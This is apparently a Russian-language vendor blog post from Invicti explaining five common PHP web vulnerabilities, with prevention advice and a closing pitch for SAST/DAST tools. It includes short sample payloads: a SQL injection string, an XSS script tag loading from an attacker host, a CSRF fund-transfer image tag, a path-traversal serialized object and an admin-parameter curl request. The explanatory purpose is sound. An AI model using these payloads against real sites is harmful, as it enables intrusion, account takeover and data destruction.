Авторка: Kateryna Ivanenko, Invicti Brand Manager
Мы подготовили обзор 5 частых уязвимостей веб-сайтов на языке PHP, краткий пример, их влияние, и как предотвратить эти недостатки безопасности.
Внимание: примеры приведены исключительно для понимания специалистами по безопасности специфики данных атак, статья никоим образом не призывает к злонамеренным действиям.
1. SQL-инъекция
Что это: вмешательство в базу данных с помощью вредоносных запросов.
Пример злоумышленного SQL-запроса:
SELECT * FROM users WHERE username = '' OR 1=1;-- AND password = ''
Воздействие: может привести к различным последствиям, включая доступ злоумышленника к данным и их утечку, полное удаление таблиц и потери контроля над БД.
Как предотвратить: использование параметризированных запросов или подготовленных операторов (главная лучшая практика), проверка входных данных, минимизация привилегий доступа в БД, детальный вывод ошибок должен быть только в логах.
Более подробную информацию о SQL-инъекции можно прочитать в этих статьях: о ее типах, причинах, и развернуто о ее предотвращении непосредственно для сайтов на языке PHP.
2. Межсайтовый скриптинг (XSS)
Что это: внедрение злонамеренных команд в легитимный код на стороне клиента (обычно JavaScript), выполняемый браузером пользователя.
Пример:
<script src=http://attacker.example.com/xss.js></script>
Влияние: большой спектр последствий, включая перехват сессии, кражу данных, захват учетной записи и перенаправление на вредоносные сайты.
Предотвращение: установка заголовков безопасности Content Security Policy (CSP), очистка входных данных пользователя, экранирование/кодирование исходных данных.
Для проверки своих навыков ручной проверки присутствия XSS, можно обратить внимание на статью об уязвимых тестовых сайтах для этой цели.
3. Подделка межсайтовых запросов (CSRF)
Что это: веб-уязвимость, позволяющая злоумышленнику обманом заставить цель отправить запрос, позволяющий ему выполнять действия в ее аккаунте.
Пример (CSRF на основе GET-запросов, где используется тег image на вредоносной странице):
<img src="http://example.com/bank.php/?action=transfer&target=attacker_account">
Влияние: транзакции и другие нежелательные действия с аккаунтом цели, полная компрометация веб-приложения при захвате аккаунта администратора.
Как предотвратить: использование анти-CSRF токенов, дополнительно применение файлов cookie с атрибутом SameSite.
Рекомендуем ознакомиться с разницей между CSRF и XSS, а также с подробным гайдом по использованию анти-CSRF токенов.
4. PHP Object Injection
Что это: эксплуатация того, что вызов функции unserialize() с неочищенными входными данными пользователя может быть использован для внедрения PHP-объектов в память.
В зависимости от контекста эта уязвимость может привести к инъекции кода, SQL-инъекции, обходу каталога (Path Traversal) и DoS.
Пример (удаление произвольного файла с помощью атаки обхода каталога путем эксплуатации уязвимого метода класса PHP):
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
Влияние: различные последствия в зависимости от проведенной атаки и использованной уязвимости – от DoS до кражи данных.
Как избежать: избегание применения функции unserialize() с входными данными пользователя, вместо этого следует использовать JSON-функции.
5. Сломанный контроль доступа (Broken Access Control)
Что это: класс уязвимостей, когда приложение неправильно применяет правила доступа и пользователь может получить повышенные привилегии.
Пример (получение административных функций по параметру запроса):
curl -i "https://target.example/admin?admin=1"
Влияние: компрометация приложения и выполнения нежелательных действий, требующих высоких привилегий.
Как предотвратить:
- Централизованная серверная авторизация и проверка доступа при каждом запросе
- Отсутствие доверия к параметрам клиента для определения ролей или прав
- Запрет на массовое назначение чувствительных полей (is_admin, role, permissions)
- Защита административных маршрутов через политики и контроль доступа на основе атрибутов или ролей
Как обнаружить эти уязвимости в веб-приложениях на PHP?
Даже качественно предотвращая данные уязвимости, без тестирования безопасности невозможно быть уверенным, что веб-сайт действительно защищен.
Возникает вопрос: какими методами можно произвести проверку на эти уязвимости?
На ранних этапах разработки веб-сайта следует применять SAST, то есть статический анализ, чтобы уже в начале проекта заботиться о его безопасности. К примеру, это может быть SAST от Mend.io.
Далее следует внедрять DAST (динамическое тестирование безопасности приложений), на более поздних стадиях разработки, в среде тестирования и для продакшна. Он сможет найти, и если это Invicti (на основе Netsparker и Acunetix), то еще и подтвердить существование реальных уязвимостей при выполнении программы.
Наилучшей практикой является сочетание этих методов максимальной эффективности.
Если вы хотите бесплатно протестировать Invicti и Mend.io, которые бесшовно интегрируются в единую AppSec-платформу для управления уязвимостями, то, пожалуйста, оставьте ваши контакты в форме ниже:
Запрос на бесплатное тестирование Invicti/Mend.io
Оставьте контакты и мы с вами свяжемся







